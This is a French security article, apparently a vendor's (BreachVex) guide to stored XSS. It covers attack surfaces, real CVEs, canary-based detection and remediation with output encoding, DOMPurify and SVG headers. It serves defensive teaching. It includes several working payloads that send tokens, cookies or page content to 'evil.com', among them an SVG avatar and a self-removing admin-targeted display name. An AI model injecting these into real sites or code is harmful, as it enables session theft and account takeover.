Script malveillant persisté côté serveur et exécuté dans le navigateur de chaque visiteur chargeant la page concernée.
TL;DR
Le XSS stocké (CWE-79, Type-2 XSS dans la taxonomie OWASP) est une vulnérabilité d'injection persistante où un attaquant écrit un script malveillant dans un store de données côté serveur — un enregistrement de base de données, un système de fichiers, une entrée de log ou un cache — et le script s'exécute dans le navigateur de chaque visiteur ultérieur lorsque la page concernée est rendue. Contrairement au XSS réfléchi, le XSS stocké ne nécessite aucune ingénierie sociale après l'injection initiale : tout utilisateur qui charge la page infectée déclenche automatiquement le payload.
La sévérité s'intensifie directement en fonction de qui voit le contenu injecté. Un payload visible uniquement par l'auteur original est de faible sévérité. Le même payload stocké dans un fil de commentaires public atteint tous les visiteurs du site. Quand le payload se déclenche dans le navigateur d'un administrateur — la cible la plus précieuse — il peut créer de nouveaux comptes admin, injecter des backdoors persistants et exfiltrer toutes les données utilisateur. C'est pourquoi le XSS stocké sur des surfaces visibles par les admins atteint CVSS 9.3 Critique (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
Le cycle de vie du XSS stocké comporte quatre étapes distinctes : écriture, stockage, récupération et rendu.
La surface d'attaque couvre chaque endroit où l'application accepte du texte qui est ensuite rendu en HTML. De nombreux points d'injection sont invisibles lors des tests de surface car les endpoints d'écriture et de rendu ont des chemins URL différents.
Endpoints d'écriture courants alimentant des contextes de rendu de haute valeur :
| Surface d'écriture | Contexte de lecture | Niveau de risque |
|---|---|---|
| Corps de commentaire / avis | Page de publication publique | Élevé (tous les visiteurs) |
| Nom d'affichage utilisateur | Toute page avec nom d'utilisateur | Critique (site complet) |
| Biographie de profil utilisateur | Page de profil | Élevé |
| Message de ticket de support | Tableau de support admin | Critique (session admin) |
| Payload webhook | Visionneuse de logs webhook | Critique (session admin) |
| Métadonnées SVG / EXIF d'image | Interface de gestion des médias | Élevé |
| Éditeur Markdown avec HTML | Document rendu | Élevé |
Champs texte JSON REST (description, title, message) | Interface pilotée par API | Variable |
| Entrée de génération PDF | Rendu côté serveur | Critique (s'exécute sur l'IP du serveur) |
Les API REST sont un angle mort pour de nombreux scanners. Les corps JSON avec des champs texte comme "description", "title" ou "notes" alimentent des templates HTML bien plus souvent que les développeurs ne le réalisent. BreachVex teste un large éventail de noms de champs texte REST courants pour exactement ce schéma de XSS stocké via JSON.
La variante la plus directe : le payload atterrit directement dans le contexte du corps HTML.
POST /api/comments
Content-Type: application/json
Authorization: Bearer eyJ...
{
"body": "<script>fetch('https://evil.com/steal?t='+localStorage.getItem('token'))</script>"
}Quand le commentaire est rendu, le token de chaque visiteur est exfiltré vers le serveur de l'attaquant.
Les fichiers SVG sont du XML avec des capacités de scripting complètes. Une application qui sert des SVG uploadés avec Content-Type: image/svg+xml — ou les intègre en ligne — exécute tout JavaScript dans le SVG.
<!-- malicious.svg — uploadé comme avatar utilisateur -->
<svg xmlns="http://www.w3.org/2000/svg" onload="
fetch('https://evil.com/steal?c='+btoa(document.cookie))
">
<circle r="50" cx="50" cy="50" fill="red"/>
</svg>HackerOne #3357808 (Nextcloud, prime 150 $) et HackerOne #3293290 (Nextcloud Contacts, prime 100 $) ont tous deux exploité le XSS stocké via upload SVG en 2025. HackerOne #2257080 (GitLab, 71 votes) a exploité le même vecteur via le rendu Markdown.
De nombreux rendeurs Markdown autorisent le passthrough de HTML brut pour le formatage riche. Si le HTML n'est pas sanitisé avant le rendu, tout gestionnaire d'événements survit.
Texte normal ici.
<img src="x" onerror="fetch('https://evil.com/steal?d='+btoa(document.body.innerHTML).slice(0,200))">
Plus de texte.Payloads spécifiquement conçus pour se déclencher dans les contextes administrateur — sans visibilité publique requise.
POST /api/users/profile
Content-Type: application/json
{
"display_name": "Alice<img src=x id='bvx-fire' onerror=\"this.parentNode.removeChild(this);fetch('https://evil.com/fire',{method:'POST',body:JSON.stringify({cookie:document.cookie,url:location.href,dom:document.body.innerHTML.slice(0,500)})})\">Johnson"
}Le payload se déclenche quand un administrateur consulte une liste ou une page de profil utilisateur. L'appel removeChild supprime les preuves du DOM après exécution.
CVE-2024-49038 — Microsoft Copilot Studio (CVSS 9.3 Critique) Publié en novembre 2024. La plateforme de création de chatbots AI de Microsoft permettait à des attaquants non authentifiés d'injecter des scripts via une sanitization insuffisante lors de la génération de page web. Le payload s'exécutait dans des sessions utilisateurs authentifiées, permettant le mouvement latéral cross-tenant dans les tenants Microsoft 365 — vol de session, vol de token et compromission complète de l'organisation. Corrigé lors du Patch Tuesday du 26 novembre 2024.
CVE-2024-2194 — WP Statistics (>600 000 installations, CVSS 7.2) XSS stocké injecté via le paramètre de recherche URL — stocké sans sanitization, puis rendu non encodé dans le tableau de bord analytique de l'administrateur. La télémétrie CDN Fastly a enregistré des vagues d'exploitation massive depuis des plages IP néerlandaises en 2024. Un attaquant non authentifié pouvait exécuter des scripts de manière persistante dans chaque session administrateur jusqu'à la découverte et la suppression du payload.
CVE-2024-0007 — PAN-OS Panorama (CVSS 9.0 Critique) L'interface de gestion Panorama de Palo Alto Networks permettait aux utilisateurs authentifiés d'injecter des scripts persistants visibles par tous les administrateurs. Dans une console de gestion d'entreprise à accès partagé, tout utilisateur junior peut escalader vers un contrôle administrateur complet en ciblant des sessions plus privilégiées.
POST, PUT et PATCH acceptant des champs texte est un candidat<img src=x id="xss-canary-001"> — assez unique pour être recherché dans la base de données, assez anodin pour ne pas déclencher d'alertes WAFLocation de redirection ; retirer les suffixes de verbe d'écriture (/new, /create, /add) de l'URL d'écriture pour dériver l'URL de lectureonerror dans le bon contexte ; vérifier l'exécution JavaScript dans une nouvelle session navigateur--blind avec une URL de callback OOB couvre les cas où le canary et l'exécution sont temporellement séparésBreachVex détecte le XSS stocké via un modèle de canary écriture-puis-lecture : le scan soumet une balise img marquée unique à chaque endpoint d'écriture, retire les suffixes d'URL de verbe d'écriture connus pour dériver l'URL de lecture, et vérifie que le canary apparaît non encodé dans le HTML rendu.
Encoder les données stockées à l'étape de rendu, pas à l'étape de stockage. Le contexte détermine l'encodage :
from markupsafe import escape
import json
# Sûr : HTML-encoder à l'affichage dans un template Jinja2
# {{ user_comment | e }} → encodage en entités HTML (défaut Jinja2)
# {{ user_comment | safe }} → DANGEREUX : contourne l'encodage
# Python — encodage explicite
safe_html = escape(stored_comment) # & " ' < > → entités HTML
# Contexte JavaScript — toujours encoder en JSON
safe_js = json.dumps(stored_value) # encadre entre guillemets doubles, échappe \, ", \nQuand les utilisateurs doivent créer du HTML (éditeurs WYSIWYG, Markdown avec HTML), utiliser DOMPurify — le seul sanitizer recommandé par l'OWASP pour la sanitization côté navigateur :
import DOMPurify from 'dompurify';
// Configuration paranoïaque — balises autorisées minimales
const safeHTML = DOMPurify.sanitize(storedHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false,
FORCE_BODY: false,
});
// NE JAMAIS concaténer ou muter la sortie sanitisée :
element.innerHTML = safeHTML; // OK
element.innerHTML = safeHTML + userAddedSuffix; // risque mXSS — re-sanitiserToujours utiliser DOMPurify ≥ 3.4.0. Les versions ≤ 3.1.2 contiennent quatre bypasses mXSS chaînés (aplatissement de nœud, clobbering du compteur __depth, mutation élévateur, triple-parse) découverts par Kevin Mizu en 2024. Chaque bypass neutralise entièrement la sanitization.
# Nginx — servir les SVG uploadés par les utilisateurs en téléchargement, jamais comme document inline
location /uploads/svg/ {
add_header Content-Disposition "attachment";
add_header Content-Type "application/octet-stream";
# Jamais : Content-Type: image/svg+xml pour les SVG uploadés par les utilisateurs
}Rendu sûr en HTML : utiliser <img src="user.svg"> — les navigateurs désactivent le scripting pour les SVG en contexte <img>. Ne jamais utiliser <iframe src="user.svg"> ou <object> pour des fichiers SVG contrôlés par les utilisateurs.
| Framework | API dangereuse | Alternative plus sûre |
|---|---|---|
| React | dangerouslySetInnerHTML={{ __html: value }} | {value} (JSX encode automatiquement) |
| Vue | v-html="value" | {{ value }} (interpolation de texte) |
| Angular | [innerHTML]="value" avec bypassSecurityTrustHtml() | DomSanitizer Angular (par défaut, sans bypass) |
| Handlebars | {{{value}}} (triple accolade) | {{value}} (double accolade) |
| EJS | <%- value %> (sortie brute) | <%= value %> (sortie échappée) |
Le XSS stocké (aussi appelé persistant ou Type-2 XSS) persiste le payload dans le store de données du serveur — base de données, système de fichiers, log — et se déclenche pour chaque utilisateur qui charge ensuite la page concernée. Le XSS réfléchi ne vit que dans l'URL craftée par l'attaquant et nécessite que la victime clique sur un lien. Le XSS stocké est plus dangereux car aucune ingénierie sociale n'est nécessaire après l'injection initiale.
Le XSS stocké sur un endpoint publiquement visible est typiquement CVSS 7.2. Quand le payload se déclenche dans la session d'un administrateur authentifié (Scope : Changed), il atteint CVSS 9.3 Critique — correspondant à CVE-2024-49038 (Microsoft Copilot Studio).
Le XSS du second ordre est une variante de XSS stocké où le payload est stocké dans un contexte et exécuté dans un autre. Par exemple, un nom d'utilisateur est stocké en toute sécurité, mais quand un administrateur génère un rapport, le nom d'utilisateur est inséré dans un template HTML non sécurisé et le payload se déclenche dans le navigateur de l'administrateur.
Oui. Si la sanitization a lieu lors de l'écriture mais que la valeur stockée est ensuite récupérée et insérée dans un contexte différent (ex. valeur JSON placée dans un template HTML), la sanitization peut être inadaptée au contexte. Toujours sanitiser à l'étape de rendu de la sortie, pas à l'étape de stockage de l'entrée.
Les champs de commentaires/avis en base de données, les biographies de profil utilisateur et les noms d'affichage, les uploads de fichiers SVG, les éditeurs Markdown avec passthrough HTML, les visionneuses de logs webhook, les éditeurs de templates email, les métadonnées EXIF dans les images uploadées, et les champs texte JSON d'API REST sont les surfaces de XSS stocké les plus courantes.
Le payload s'exécute dans le navigateur de la victime sous l'origine du site. Il peut lire document.cookie (non-HttpOnly) ou les tokens localStorage, les envoyer à l'attaquant et permettre l'usurpation d'identité. Quand il cible un compte admin, l'attaquant peut également créer de nouveaux comptes admin, injecter des backdoors ou exfiltrer toutes les données utilisateur.
Les systèmes de notification admin et les tableaux de bord de tickets de support sont les cibles de plus haute valeur — les payloads injectés par un utilisateur à faibles privilèges se déclenchent dans le contexte admin le plus privilégié. CVE-2023-40000 (LiteSpeed Cache, 5M installations) et CVE-2024-2194 (WP Statistics) ont tous deux exploité ce schéma.
BreachVex soumet un canary unique (une balise img marquée) à chaque endpoint d'écriture, normalise l'URL d'écriture pour dériver l'URL de lecture, puis vérifie si le canary apparaît non encodé dans la réponse rendue. L'exécution est confirmée dans un vrai navigateur.